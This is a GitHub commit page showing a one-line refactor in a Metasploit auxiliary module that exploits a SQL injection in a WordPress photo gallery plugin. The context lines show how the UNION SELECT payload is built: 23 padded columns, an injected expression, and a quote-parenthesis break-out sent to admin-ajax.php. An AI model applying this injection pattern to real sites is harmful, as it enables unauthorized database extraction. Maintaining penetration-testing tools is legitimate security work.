Skip to content

Commit 69f8679

Browse files
Chocapikkjvoisin
andauthored
Update modules/auxiliary/gather/wp_photo_gallery_sqli.rb
Co-authored-by: Julien Voisin <[email protected]>
1 parent 622072b commit 69f8679

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/auxiliary/gather/wp_photo_gallery_sqli.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ def initialize(info = {})
5454

5555
def get_sqli_object
5656
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
57-
expr = payload.to_s.strip.gsub(/\s+/, ' ')
57+
expr = payload.to_s.gsub(/\s+/, ' ').strip
5858
cols = Array.new(23) { |i| i == 7 ? "(#{expr})" : rand(1000..9999).to_s }
5959
injected = ")\" union select #{cols.join(',')} -- -g"
6060
endpoint = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')

0 commit comments

Comments
 (0)